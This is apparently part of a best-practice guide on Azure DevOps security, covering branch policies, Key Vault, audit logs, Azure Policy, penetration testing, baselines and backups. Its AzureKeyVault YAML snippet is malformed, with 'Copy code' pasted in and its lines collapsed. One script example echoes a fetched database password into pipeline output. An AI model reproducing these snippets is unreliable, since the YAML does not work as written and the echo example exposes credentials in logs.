<h3 id="ensure-code-security-with-git-branch-policies-and-pull-request-reviews">Ensure code security with Git branch policies and pull request reviews</h3>
<p>Ensuring code security with Git branch policies and pull request reviews is an important aspect of maintaining the security and quality of your codebase in Azure DevOps. Implementing branch policies and enforcing code reviews helps you catch potential vulnerabilities before they are merged into your main branches. Here&rsquo;s how to ensure code security with Git branch policies and pull request reviews in Azure DevOps:</p>
<ol>
<li>
<p><strong>Set up branch policies</strong>: In your Azure DevOps project, navigate to the Repos section, and then to the Branches tab. Choose the main branch or any other branch that requires protection, and click on the &ldquo;…&rdquo; icon next to it. Select &ldquo;Branch policies&rdquo; to configure the policies for that branch.</p>
</li>
<li>
<p><strong>Require pull requests</strong>: Enable the &ldquo;Require a minimum number of reviewers&rdquo; policy and set the number of required reviewers to ensure that all changes must go through a pull request process before they can be merged. This ensures that every change is reviewed and approved by the appropriate team members.</p>
</li>
<li>
<p><strong>Enforce reviewer requirements</strong>: Configure the &ldquo;Automatically include code reviewers&rdquo; policy to automatically assign specific reviewers or groups to review changes to specific parts of your codebase. This ensures that the right experts review the changes and provides an additional layer of security.</p>
</li>
<li>
<p><strong>Use required approvers</strong>: If you have specific individuals or groups responsible for approving changes, you can enforce their approval using the &ldquo;Required approvers&rdquo; policy. This ensures that only authorized personnel can approve changes before they are merged.</p>
</li>
<li>
<p><strong>Enforce code review comments</strong>: Enable the &ldquo;Reset code reviewer votes when there are new changes&rdquo; policy to require reviewers to re-review and approve changes if additional commits are added to a pull request. This ensures that all changes are reviewed and approved, even if they are made after the initial review.</p>
</li>
<li>
<p><strong>Check for linked work items</strong>: Enable the &ldquo;Check for linked work items&rdquo; policy to require that each pull request is associated with one or more work items. This helps maintain traceability between changes and their corresponding tasks or requirements.</p>
</li>
<li>
<p><strong>Configure build validation</strong>: Enable the &ldquo;Build validation&rdquo; policy to automatically trigger a build and run tests whenever a pull request is created or updated. This ensures that your code is tested and validated before it&rsquo;s merged, reducing the risk of introducing vulnerabilities or breaking existing functionality.</p>
</li>
<li>
<p><strong>Enforce status checks</strong>: If you use external services, such as SonarQube or security scanning tools, configure the &ldquo;Status checks&rdquo; policy to require these services to report a successful status before a pull request can be completed. This ensures that your code meets the required quality and security standards.</p>
</li>
<li>
<p><strong>Regularly review and update policies</strong>: Periodically review your Git branch policies and pull request review processes to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update policies and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By ensuring code security with Git branch policies and pull request reviews in Azure DevOps, you can minimize the risk of security breaches and maintain a high-quality codebase. This approach helps ensure that your code is developed with security best practices in mind and promotes a culture of continuous improvement and collaboration between developers and security teams.</p>
<h2 id="azure-key-vault">Azure Key Vault</h2>
<h3 id="securely-store-credentials-certificates-and-access-keys-in-azure-key-vault">Securely store credentials, certificates, and access keys in Azure Key Vault</h3>
<p>Securely storing credentials, certificates, and access keys in Azure Key Vault is crucial for protecting sensitive information and maintaining the security of your Azure DevOps projects. Azure Key Vault helps centralize and manage secrets, making it easier to implement secure access controls and monitor usage. Here&rsquo;s how to securely store credentials, certificates, and access keys in Azure Key Vault:</p>
<ol>
<li>
<p><strong>Create an Azure Key Vault</strong>: In the Azure portal, create a new Key Vault resource. Choose a unique name for your Key Vault and configure the appropriate subscription, resource group, and location.</p>
</li>
<li>
<p><strong>Add secrets, keys, and certificates</strong>: Store sensitive information, such as credentials, access keys, and certificates, as secrets or keys in the Key Vault. Use the Azure portal, Azure CLI, or SDKs to add and manage these items.</p>
</li>
<li>
<p><strong>Use Role-Based Access Control (RBAC)</strong>: Configure access to your Key Vault using RBAC. Assign appropriate roles, such as &ldquo;Key Vault Contributor&rdquo; or &ldquo;Key Vault Reader,&rdquo; to users, groups, or service principals to control who can manage and access your secrets, keys, and certificates.</p>
</li>
<li>
<p><strong>Enable access policies</strong>: In addition to RBAC, configure access policies to grant fine-grained permissions to specific users, groups, or service principals. Access policies allow you to control access to individual secrets, keys, or certificates within the Key Vault.</p>
</li>
<li>
<p><strong>Integrate with Azure DevOps</strong>: To use secrets stored in Azure Key Vault within your Azure DevOps pipelines, add the &ldquo;AzureKeyVault&rdquo; task to your pipeline definition. Configure the task with the appropriate Key Vault details and reference the secrets you want to use. This enables your pipeline to securely access the required secrets without storing them in plain text.</p>
</li>
<li>
<p><strong>Use managed identities</strong>: When using Azure Key Vault with Azure services, such as VMs, App Services, or Functions, leverage managed identities for authentication. Managed identities eliminate the need to store and manage service principal credentials, providing a more secure and streamlined way to access your Key Vault.</p>
</li>
<li>
<p><strong>Monitor and audit access</strong>: Regularly review the access logs and audit events for your Key Vault to identify any suspicious activity or potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to keep track of Key Vault usage and access patterns.</p>
</li>
<li>
<p><strong>Implement security best practices</strong>: Follow Azure Key Vault security best practices, such as enabling soft delete, using strong key types and sizes, and regularly rotating secrets, keys, and certificates. These best practices help ensure the security and resilience of your Key Vault.</p>
</li>
<li>
<p><strong>Regularly review and update</strong>: Periodically review your Key Vault configuration, access controls, and stored items to ensure they remain effective and aligned with your organization&rsquo;s security requirements. Update settings and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.</p>
</li>
</ol>
<p>By securely storing credentials, certificates, and access keys in Azure Key Vault, you can minimize the risk of security breaches and improve the overall security posture of your Azure DevOps projects. This approach helps ensure that sensitive information is managed securely and access controls are enforced consistently, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
<h3 id="configure-access-to-key-vault-from-azure-devops-pipelines-to-protect-credentials">Configure access to Key Vault from Azure DevOps pipelines to protect credentials</h3>
<p>Configuring access to Key Vault from Azure DevOps pipelines to protect credentials is crucial for maintaining the security of your build and release processes. By integrating Azure Key Vault with your pipelines, you can securely access sensitive information without exposing it in plain text. Here&rsquo;s how to configure access to Key Vault from Azure DevOps pipelines to protect credentials:</p>
<ol>
<li>
<p><strong>Set up a service connection</strong>: In your Azure DevOps project, navigate to &ldquo;Project settings&rdquo; and then to the &ldquo;Service connections&rdquo; tab. Click on &ldquo;New service connection&rdquo; and choose &ldquo;Azure Resource Manager.&rdquo; Configure the connection to use either a service principal or a managed identity, and grant it the necessary permissions to access the target Key Vault.</p>
</li>
<li>
<p><strong>Create an Azure Key Vault task</strong>: In your pipeline YAML file, add an AzureKeyVault task. This task will be responsible for fetching secrets from the Key Vault and making them available to the pipeline.</p>
</li>
</ol>
<p>Configure the task with the following properties:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">Copy code- task: AzureKeyVault@1 displayName: &#39;Fetch secrets from Azure Key Vault&#39; inputs: azureSubscription</span>: <span style="color:#e6db74">&#39;&lt;Your_Azure_Service_Connection&gt;&#39;</span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">KeyVaultName: &#39;&lt;Your_Key_Vault_Name&gt;&#39; SecretsFilter</span>: <span style="color:#e6db74">&#39;&lt;Comma-separated_list_of_secrets&gt;&#39;</span>
</span></span></code></pre></div><p>Replace <code>&lt;Your_Azure_Service_Connection&gt;</code> with the name of the service connection you created in step 1. Replace <code>&lt;Your_Key_Vault_Name&gt;</code> with the name of the target Key Vault. Replace <code>&lt;Comma-separated_list_of_secrets&gt;</code> with a comma-separated list of secret names you want to fetch from the Key Vault.</p>
<ol start="3">
<li><strong>Reference fetched secrets in your pipeline</strong>: After the AzureKeyVault task fetches the secrets, you can reference them as variables in your pipeline using the $(SecretName) syntax. For example, if you fetched a secret named DatabasePassword, you can use it in a script task like this:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Copy code- script: | echo <span style="color:#e6db74">&#34;Using secret: </span><span style="color:#66d9ef">$(</span>DatabasePassword<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span> displayName: <span style="color:#e6db74">&#39;Use fetched secret&#39;</span>
</span></span></code></pre></div><ol start="4">
<li>
<p><strong>Use managed identities (optional)</strong>: If your Azure DevOps pipeline runs on an Azure VM or another Azure service that supports managed identities, you can use a managed identity to authenticate to the Key Vault instead of a service principal. Configure the managed identity to have the necessary permissions to access the target Key Vault, and update the service connection in your Azure DevOps project to use the managed identity.</p>
</li>
<li>
<p><strong>Secure your pipeline</strong>: To further secure your pipeline, follow best practices such as limiting access to the pipeline definition, using Role-Based Access Control (RBAC) to manage permissions, and regularly reviewing pipeline logs and activity for suspicious behavior.</p>
</li>
</ol>
<p>By configuring access to Key Vault from Azure DevOps pipelines to protect credentials, you can minimize the risk of security breaches and maintain the confidentiality and integrity of sensitive information. This approach helps ensure that credentials and other secrets are managed securely, fostering a culture of continuous improvement and collaboration between developers and security teams.</p>
<h2 id="regular-auditing-and-review">Regular Auditing and Review</h2>
<h3 id="monitor-changes-using-azure-devops-audit-logs">Monitor changes using Azure DevOps audit logs</h3>
<p>Monitoring changes using Azure DevOps audit logs is essential for maintaining security, compliance, and operational awareness in your DevOps environment. Audit logs provide visibility into activities and changes within your Azure DevOps projects, enabling you to track user behavior, identify potential security issues, and troubleshoot problems. Here&rsquo;s how to monitor changes using Azure DevOps audit logs:</p>
<ol>
<li>
<p><strong>Enable auditing</strong>: In your Azure DevOps organization settings, navigate to the &ldquo;Audit&rdquo; tab. Ensure that auditing is enabled for your organization. If it&rsquo;s not, follow the on-screen instructions to enable it.</p>
</li>
<li>
<p><strong>Access audit logs</strong>: Once auditing is enabled, you can view and download audit logs directly from the &ldquo;Audit&rdquo; tab in your Azure DevOps organization settings. Logs are available in JSON format and can be downloaded for further analysis or imported into other tools.</p>
</li>
<li>
<p><strong>Filter and search audit logs</strong>: Use the built-in filtering and search capabilities to narrow down the logs to specific events, users, or time ranges. This can help you quickly identify and investigate suspicious activities or changes.</p>
</li>
<li>
<p><strong>Configure log retention</strong>: By default, Azure DevOps retains audit logs for 90 days. You can adjust the retention period based on your organization&rsquo;s compliance and security requirements. Keep in mind that increasing the retention period may result in additional storage costs.</p>
</li>
<li>
<p><strong>Integrate with Azure Monitor</strong>: To gain more advanced monitoring and alerting capabilities, integrate Azure DevOps audit logs with Azure Monitor. This enables you to store logs for longer periods, analyze data using Log Analytics, and create custom alerts based on specific events or trends.</p>
</li>
<li>
<p><strong>Set up alerts and notifications</strong>: In Azure Monitor, configure custom alerts and notifications to notify you when specific events occur or when certain thresholds are reached. This can help you proactively detect and respond to security incidents or operational issues.</p>
</li>
<li>
<p><strong>Regularly review audit logs</strong>: Make it a habit to periodically review your Azure DevOps audit logs to identify any unusual patterns or activities. This can help you uncover potential security issues, maintain compliance, and ensure the overall health of your DevOps environment.</p>
</li>
<li>
<p><strong>Train your team</strong>: Ensure that your team members are familiar with Azure DevOps audit logs and their importance. Encourage them to regularly review logs and report any suspicious activities or anomalies.</p>
</li>
</ol>
<p>By monitoring changes using Azure DevOps audit logs, you can improve the security and compliance of your DevOps environment, identify potential issues early, and maintain a high level of operational awareness. This approach helps foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders, ultimately contributing to the success of your DevOps projects.</p>
<h3 id="continuously-track-and-improve-security-posture-with-azure-policy-and-azure-security-center">Continuously track and improve security posture with Azure Policy and Azure Security Center</h3>
<p>Continuously tracking and improving your security posture with Azure Policy and Azure Security Center is essential for ensuring the ongoing security and compliance of your Azure DevOps environment. These tools help you define, monitor, and enforce security policies across your Azure resources, providing a comprehensive view of your security posture and facilitating continuous improvement. Here&rsquo;s how to continuously track and improve security posture with Azure Policy and Azure Security Center:</p>
<ol>
<li>
<p><strong>Set up Azure Policy</strong>: Azure Policy allows you to define and enforce policies across your Azure resources. To get started, navigate to the Azure Policy service in the Azure portal, and create new policy assignments or initiatives. Choose from built-in policies or create custom ones to meet your organization&rsquo;s security requirements.</p>
</li>
<li>
<p><strong>Use Azure Security Center</strong>: Enable Azure Security Center to gain visibility into your overall security posture and receive recommendations for addressing potential security issues. Security Center helps you identify misconfigurations, insecure access controls, and other vulnerabilities in your Azure resources, including those related to your Azure DevOps projects.</p>
</li>
<li>
<p><strong>Monitor compliance</strong>: Use Azure Policy and Azure Security Center to continuously monitor your compliance with security policies and standards. Regularly review the compliance dashboard and detailed reports to identify non-compliant resources and take corrective actions.</p>
</li>
<li>
<p><strong>Remediate security issues</strong>: When Azure Policy or Azure Security Center identifies non-compliant resources or security vulnerabilities, take appropriate remediation actions. These may include adjusting configurations, updating access controls, or applying security patches.</p>
</li>
<li>
<p><strong>Automate policy enforcement</strong>: Use Azure Policy&rsquo;s built-in remediation tasks to automatically enforce compliance with certain policies. This can help you maintain a consistent security posture with minimal manual intervention.</p>
</li>
<li>
<p><strong>Integrate with Azure DevOps</strong>: To further improve your security posture, integrate Azure Policy and Azure Security Center with your Azure DevOps pipelines. This can help you ensure that your infrastructure is secure and compliant throughout the development and deployment process.</p>
</li>
<li>
<p><strong>Define and enforce secure baselines</strong>: Use Azure Policy and Azure Security Center to define secure baselines for your Azure resources, and enforce them consistently across your environment. Regularly review and update your baselines to address new security threats and vulnerabilities.</p>
</li>
<li>
<p><strong>Train your team</strong>: Ensure that your development, operations, and security teams are familiar with Azure Policy and Azure Security Center, and understand their roles and responsibilities in maintaining a secure and compliant environment.</p>
</li>
<li>
<p><strong>Continuously improve</strong>: Regularly review your security posture and policies, and update them as needed to address changes in your organization&rsquo;s security requirements, the threat landscape, or new features and capabilities in Azure.</p>
</li>
</ol>
<p>By continuously tracking and improving your security posture with Azure Policy and Azure Security Center, you can maintain a high level of security and compliance in your Azure DevOps environment, proactively address potential security issues, and foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders. This approach helps ensure the ongoing success of your DevOps projects and the security of your organization&rsquo;s critical assets.</p>
<h3 id="perform-internal-and-external-security-audits-and-penetration-tests-for-evaluation">Perform internal and external security audits and penetration tests for evaluation</h3>
<p>Performing internal and external security audits and penetration tests is essential for evaluating the security of your Azure DevOps environment and identifying potential vulnerabilities. Regular audits and tests help you uncover security weaknesses, validate existing security controls, and prioritize remediation efforts. Here&rsquo;s how to perform internal and external security audits and penetration tests for evaluation:</p>
<ol>
<li>
<p><strong>Develop a security audit plan</strong>: Outline the scope, objectives, and schedule of your security audits. Include both internal and external audits, covering a comprehensive set of security controls, processes, and technologies. Consider relevant compliance requirements, industry best practices, and your organization&rsquo;s security policies.</p>
</li>
<li>
<p><strong>Engage external auditors</strong>: Hire a reputable external auditor or security firm to perform independent security audits and penetration tests. External auditors can provide an unbiased assessment of your security posture and help uncover vulnerabilities that may not be apparent to your internal team.</p>
</li>
<li>
<p><strong>Conduct internal audits</strong>: Perform regular internal security audits to evaluate your Azure DevOps environment and identify potential weaknesses. Internal audits should cover various aspects of your environment, such as access controls, code review processes, pipeline security, and network configurations.</p>
</li>
<li>
<p><strong>Perform penetration tests</strong>: Conduct regular penetration tests, also known as ethical hacking, to simulate real-world attacks on your Azure DevOps environment. Penetration tests help you identify vulnerabilities and weaknesses that may be exploited by attackers, allowing you to prioritize remediation efforts based on risk.</p>
</li>
<li>
<p><strong>Obtain required permissions</strong>: Before performing penetration tests on Azure resources, ensure you have obtained the necessary permissions from Microsoft. Follow the Azure Penetration Testing Rules of Engagement and submit a penetration testing request form if needed.</p>
</li>
<li>
<p><strong>Remediate identified vulnerabilities</strong>: After completing security audits and penetration tests, prioritize and address the identified vulnerabilities. Develop a remediation plan that outlines the necessary actions, resources, and timelines for addressing each vulnerability.</p>
</li>
<li>
<p><strong>Update security policies and controls</strong>: Based on the findings of your security audits and penetration tests, review and update your security policies, controls, and processes. This may involve revising access controls, improving code review processes, or implementing additional security measures in your Azure DevOps pipelines.</p>
</li>
<li>
<p><strong>Train your team</strong>: Ensure that your development, operations, and security teams are familiar with the outcomes of security audits and penetration tests, and understand their roles and responsibilities in addressing identified vulnerabilities. Provide training and resources to help your team develop the necessary skills for maintaining a secure environment.</p>
</li>
<li>
<p><strong>Continuously monitor and improve</strong>: Regularly review and update your security posture, policies, and controls based on the results of security audits and penetration tests. Implement a continuous improvement process to proactively address new threats, vulnerabilities, and security best practices.</p>
</li>
</ol>
<p>By performing internal and external security audits and penetration tests, you can evaluate your Azure DevOps environment&rsquo;s security posture and identify potential vulnerabilities. This approach helps you maintain a secure and compliant environment, prioritize remediation efforts, and foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders.</p>
<h2 id="security-configuration">Security Configuration</h2>
<h3 id="regularly-review-and-update-the-security-configurations-of-your-azure-devops-services-resources-and-tools">Regularly review and update the security configurations of your Azure DevOps services, resources, and tools</h3>
<p>Regularly reviewing and updating the security configurations of your Azure DevOps services, resources, and tools is an essential practice to maintain a secure environment and address evolving threats. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Periodic assessments</strong>: Schedule regular assessments of your Azure DevOps services, resources, and tools to identify any outdated or misconfigured security settings. Regular assessments help ensure that your environment stays compliant with industry standards, regulatory requirements, and your organization&rsquo;s security policies.</p>
</li>
<li>
<p><strong>Security configuration baselines</strong>: Establish security configuration baselines for your Azure DevOps resources, such as repositories, pipelines, and environments. These baselines should align with best practices, industry standards, and your organization&rsquo;s security requirements. Use tools like Azure Policy and Azure Security Center to define, enforce, and monitor these baselines consistently across your environment.</p>
</li>
<li>
<p><strong>Patch management</strong>: Keep your Azure DevOps tools and resources up to date with the latest security patches and updates. This includes any extensions, integrations, or third-party tools used in your environment. Regularly check for updates, and establish a patch management process to apply them in a timely manner.</p>
</li>
<li>
<p><strong>Change management</strong>: Implement a change management process to track, review, and approve any changes to your Azure DevOps security configurations. This process should involve key stakeholders, such as security teams, DevOps engineers, and project managers. Maintain a record of all changes, including the rationale, approvals, and any associated risks.</p>
</li>
<li>
<p><strong>Monitoring and alerting</strong>: Continuously monitor your Azure DevOps environment for any unauthorized or suspicious changes to security configurations. Set up alerts to notify your security and operations teams of potential issues. Investigate any unexpected changes promptly to mitigate potential risks.</p>
</li>
<li>
<p><strong>Training and awareness</strong>: Ensure that your development, operations, and security teams are aware of the importance of maintaining secure configurations in your Azure DevOps environment. Provide training and resources to help your team members understand their roles and responsibilities in managing security configurations and staying up to date with best practices.</p>
</li>
</ol>
<p>By regularly reviewing and updating the security configurations of your Azure DevOps services, resources, and tools, you can maintain a secure environment, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="implement-secure-baselines-for-your-azure-resources-and-enforce-them-consistently-across-your-environment">Implement secure baselines for your Azure resources and enforce them consistently across your environment</h3>
<p>Implementing secure baselines for your Azure resources and enforcing them consistently across your environment is crucial to maintaining a secure and compliant Azure DevOps setup. Here&rsquo;s an expanded explanation of this topic:</p>
<ol>
<li>
<p><strong>Identify best practices</strong>: Start by researching best practices and industry standards for Azure resource configurations, such as the Center for Internet Security (CIS) benchmarks, NIST guidelines, and Microsoft&rsquo;s own recommendations. These guidelines provide a foundation for creating secure baselines tailored to your organization&rsquo;s needs and regulatory requirements.</p>
</li>
<li>
<p><strong>Customize baselines</strong>: Adapt the identified best practices to your organization&rsquo;s specific context, including your industry, regulatory environment, and unique business requirements. Collaborate with your security, development, and operations teams to ensure that your baselines address all relevant security concerns while maintaining operational efficiency.</p>
</li>
<li>
<p><strong>Document and share baselines</strong>: Clearly document your secure baselines and make them accessible to all relevant stakeholders, such as developers, operations teams, and security personnel. This documentation should include configuration settings, recommended values, and explanations for each setting.</p>
</li>
<li>
<p><strong>Automate baseline enforcement</strong>: Leverage Azure Policy and Azure Security Center to automate the enforcement of your secure baselines across your Azure resources. These tools allow you to define policies that automatically apply the desired configurations and monitor compliance in real-time.</p>
</li>
<li>
<p><strong>Monitor compliance</strong>: Regularly review your environment&rsquo;s compliance with your secure baselines, utilizing Azure Policy and Azure Security Center&rsquo;s reporting features. Address any deviations promptly and investigate the root causes to prevent future occurrences.</p>
</li>
<li>
<p><strong>Integrate with CI/CD pipelines</strong>: Integrate your secure baselines into your Continuous Integration and Continuous Deployment (CI/CD) pipelines to ensure that new resources and updates adhere to the established security standards. This helps maintain a consistent security posture throughout your development and deployment processes.</p>
</li>
<li>
<p><strong>Regularly review and update baselines</strong>: As security best practices and industry standards evolve, it&rsquo;s essential to regularly review and update your secure baselines to stay current. Engage your security, development, and operations teams in an ongoing process of evaluating and refining your baselines to address emerging threats and changes in your organization&rsquo;s requirements.</p>
</li>
</ol>
<p>By implementing secure baselines for your Azure resources and enforcing them consistently across your environment, you can maintain a strong security posture, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="use-azure-policy-to-define-and-enforce-security-configurations-across-your-azure-resources">Use Azure Policy to define and enforce security configurations across your Azure resources</h3>
<p>Using Azure Policy to define and enforce security configurations across your Azure resources is a crucial part of maintaining a secure and compliant environment. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Understand Azure Policy</strong>: Azure Policy is a service within the Azure ecosystem that allows you to create, assign, and manage policies that enforce specific configurations or standards across your Azure resources. These policies can help ensure that your resources comply with your organization&rsquo;s security requirements, industry best practices, and regulatory guidelines.</p>
</li>
<li>
<p><strong>Create custom policies</strong>: Start by creating custom policies tailored to your organization&rsquo;s security requirements. Policies are written in JSON format and define conditions and desired configurations for your resources. You can create policies from scratch or modify built-in Azure policy templates to suit your needs.</p>
</li>
<li>
<p><strong>Assign policies to appropriate scopes</strong>: Assign your custom policies to appropriate scopes, such as management groups, subscriptions, or resource groups, to enforce your desired security configurations across your Azure resources. Ensure that the scope of each policy assignment aligns with your organization&rsquo;s structure and security requirements.</p>
</li>
<li>
<p><strong>Use policy initiatives</strong>: Group related policies into initiatives for easier management and assignment. Initiatives are collections of policies that share a common goal, such as maintaining compliance with a specific regulation or implementing a set of security best practices. Initiatives allow you to manage and assign multiple policies more efficiently.</p>
</li>
<li>
<p><strong>Monitor policy compliance</strong>: Use Azure Policy&rsquo;s built-in compliance reporting to monitor your resources&rsquo; adherence to assigned policies. Regularly review these reports to identify non-compliant resources, and address any deviations or violations promptly.</p>
</li>
<li>
<p><strong>Remediate non-compliant resources</strong>: Use Azure Policy&rsquo;s remediation capabilities to automatically fix non-compliant resources or to create remediation tasks for manual intervention. Remediation actions can include modifying configurations, deploying additional resources, or updating existing resources to meet policy requirements.</p>
</li>
<li>
<p><strong>Integrate with Azure Security Center</strong>: Leverage Azure Security Center&rsquo;s integration with Azure Policy to gain additional insights into your security posture and compliance status. Azure Security Center can provide recommendations and alerts based on your policy assignments and overall resource configurations.</p>
</li>
</ol>
<p>By using Azure Policy to define and enforce security configurations across your Azure resources, you can maintain a consistent and secure environment, ensure compliance with relevant standards and regulations, and quickly identify and remediate non-compliant resources. This approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="continuously-monitor-configuration-changes-and-assess-their-impact-on-your-security-posture">Continuously monitor configuration changes and assess their impact on your security posture</h3>
<p>Continuously monitoring configuration changes and assessing their impact on your security posture is vital for maintaining a secure environment and addressing potential risks in a timely manner. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Enable auditing and logging</strong>: Ensure that auditing and logging are enabled for all your Azure DevOps resources, including repositories, pipelines, and environments. Use Azure Monitor, Azure Log Analytics, and other monitoring tools to collect, store, and analyze log data.</p>
</li>
<li>
<p><strong>Set up monitoring dashboards</strong>: Create custom monitoring dashboards that provide real-time visibility into your Azure DevOps environment. Include key performance and security indicators, such as configuration changes, user activity, access attempts, and security alerts. This enables you to quickly identify and address potential issues.</p>
</li>
<li>
<p><strong>Configure alerts and notifications</strong>: Set up alerts and notifications to inform your security, development, and operations teams about significant configuration changes, security events, or policy violations. Define thresholds and triggers for alerts, and ensure that relevant stakeholders receive timely notifications.</p>
</li>
<li>
<p><strong>Implement change management processes</strong>: Establish a structured change management process to track, review, and approve configuration changes in your Azure DevOps environment. This process should involve key stakeholders, such as security teams, DevOps engineers, and project managers. Maintain a record of all changes, including the rationale, approvals, and any associated risks.</p>
</li>
<li>
<p><strong>Conduct regular security assessments</strong>: Perform periodic security assessments to evaluate the impact of configuration changes on your security posture. These assessments should include vulnerability scanning, penetration testing, and security audits. Use the results of these assessments to identify areas of improvement and update your security policies, configurations, and processes accordingly.</p>
</li>
<li>
<p><strong>Review and update security baselines</strong>: Regularly review and update your security baselines to ensure they remain aligned with your organization&rsquo;s security requirements, industry best practices, and regulatory guidelines. Adjust your baselines based on the results of your security assessments and configuration change monitoring.</p>
</li>
<li>
<p><strong>Train and educate your teams</strong>: Ensure that your development, operations, and security teams are aware of the importance of monitoring configuration changes and maintaining a strong security posture. Provide training and resources to help your team members understand their roles and responsibilities in managing and assessing the impact of configuration changes.</p>
</li>
</ol>
<p>By continuously monitoring configuration changes and assessing their impact on your security posture, you can maintain a secure environment, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h2 id="data-recovery">Data Recovery</h2>
<h3 id="implement-a-robust-backup-and-recovery-strategy-for-your-critical-data-including-source-code-artifacts-and-configuration-data">Implement a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data</h3>
<p>Implementing a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data, is essential for ensuring business continuity and reducing the impact of data loss or corruption. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Identify critical data</strong>: Determine which data is critical to your organization&rsquo;s operations and should be prioritized for backup and recovery. This may include source code, build artifacts, deployment configurations, and database backups.</p>
</li>
<li>
<p><strong>Define backup frequency and retention policies</strong>: Establish how often backups should be created and how long they should be retained. This will depend on your organization&rsquo;s requirements, industry best practices, and regulatory guidelines. Consider factors such as data change frequency, recovery point objectives (RPOs), and recovery time objectives (RTOs).</p>
</li>
<li>
<p><strong>Choose appropriate backup methods</strong>: Select backup methods that best suit your organization&rsquo;s needs and requirements. This may include full, incremental, or differential backups. You may also choose to use snapshot-based backups for virtual machines, databases, or storage accounts.</p>
</li>
<li>
<p><strong>Use Azure-native backup solutions</strong>: Leverage Azure-native backup solutions, such as Azure Backup and Azure Site Recovery, to automate the backup and recovery process for your Azure DevOps resources. These solutions provide built-in integration, security, and scalability, making it easier to manage backups and recover data when needed.</p>
</li>
<li>
<p><strong>Store backups offsite and/or in multiple locations</strong>: To minimize the risk of data loss due to a single point of failure, store backups in offsite locations or across multiple Azure regions. This ensures that your data is protected even in the event of a regional outage or disaster.</p>
</li>
<li>
<p><strong>Encrypt backups</strong>: Use encryption to protect your backup data, both in transit and at rest. This helps ensure that your data remains secure and confidential, even if a backup is compromised.</p>
</li>
<li>
<p><strong>Test backup and recovery processes</strong>: Regularly test your backup and recovery processes to ensure that they are functioning correctly and that you can successfully recover your critical data in the event of an incident. Identify and address any issues or bottlenecks in the recovery process.</p>
</li>
<li>
<p><strong>Document and maintain your backup and recovery strategy</strong>: Clearly document your backup and recovery strategy, including procedures, schedules, and responsible parties. Ensure that this documentation is accessible to relevant stakeholders and is kept up to date as your environment evolves.</p>
</li>
<li>
<p><strong>Train and educate your teams</strong>: Ensure that your development, operations, and security teams understand the importance of implementing a robust backup and recovery strategy. Provide training and resources to help them effectively manage and maintain your organization&rsquo;s backup and recovery processes.</p>
</li>
</ol>
<p>By implementing a robust backup and recovery strategy for your critical data, you can ensure business continuity, reduce the impact of data loss or corruption, and maintain a strong security posture. This proactive approach helps protect your organization&rsquo;s assets and fosters a culture of continuous improvement and collaboration across teams.</p>
<h3 id="use-azure-backup-and-azure-site-recovery-to-protect-your-data-and-applications">Use Azure Backup and Azure Site Recovery to protect your data and applications</h3>
<p>Using Azure Backup and Azure Site Recovery to protect your data and applications is an effective way to ensure business continuity and minimize downtime in the event of data loss or disasters. Here&rsquo;s a more detailed explanation of this topic:</p>
<ol>
<li>
<p><strong>Azure Backup</strong>: Azure Backup is a cloud-based backup service that allows you to back up and restore data and applications in Azure. Key features and benefits of Azure Backup include:</p>
<p>A. <strong>Support for various data types</strong>: Azure Backup supports backing up data from virtual machines (VMs), SQL databases, file shares, and more. This provides a comprehensive backup solution for your Azure resources.</p>
<p>B. <strong>Centralized management</strong>: Azure Backup enables centralized management and monitoring of your backups across various Azure resources and subscriptions.</p>
<p>C. <strong>Data encryption</strong>: Azure Backup provides encryption for your data both in transit and at rest, ensuring that your backups are secure and confidential.</p>
<p>D. <strong>Flexible retention policies</strong>: With Azure Backup, you can define custom retention policies based on your organization&rsquo;s requirements, industry best practices, and regulatory guidelines.</p>
<p>E. <strong>Integration with Azure DevOps</strong>: Azure Backup can be integrated with Azure DevOps pipelines to automate backup and restore processes for your application data.</p>
</li>
<li>
<p><strong>Azure Site Recovery</strong>: Azure Site Recovery (ASR) is a disaster recovery service that enables you to replicate, failover, and recover your applications in Azure. Key features and benefits of Azure Site Recovery include:</p>
<p>A. <strong>Application replication</strong>: ASR allows you to replicate your applications and data to a secondary Azure region or an on-premises data center, ensuring that they remain available in the event of a disaster or regional outage.</p>
<p>B. <strong>Flexible recovery plans</strong>: ASR enables you to create customized recovery plans that define the failover and recovery process for your applications. This allows you to tailor your disaster recovery strategy to your organization&rsquo;s specific needs and requirements.</p>
<p>C. <strong>Testing without disruption</strong>: ASR allows you to test your recovery plans without impacting your production environment, ensuring that your applications can be successfully recovered in the event of an incident.</p>
<p>D. <strong>Integration with Azure DevOps</strong>: ASR can be integrated with Azure DevOps pipelines to automate the replication and failover processes for your applications</p>
</li>
</ol>
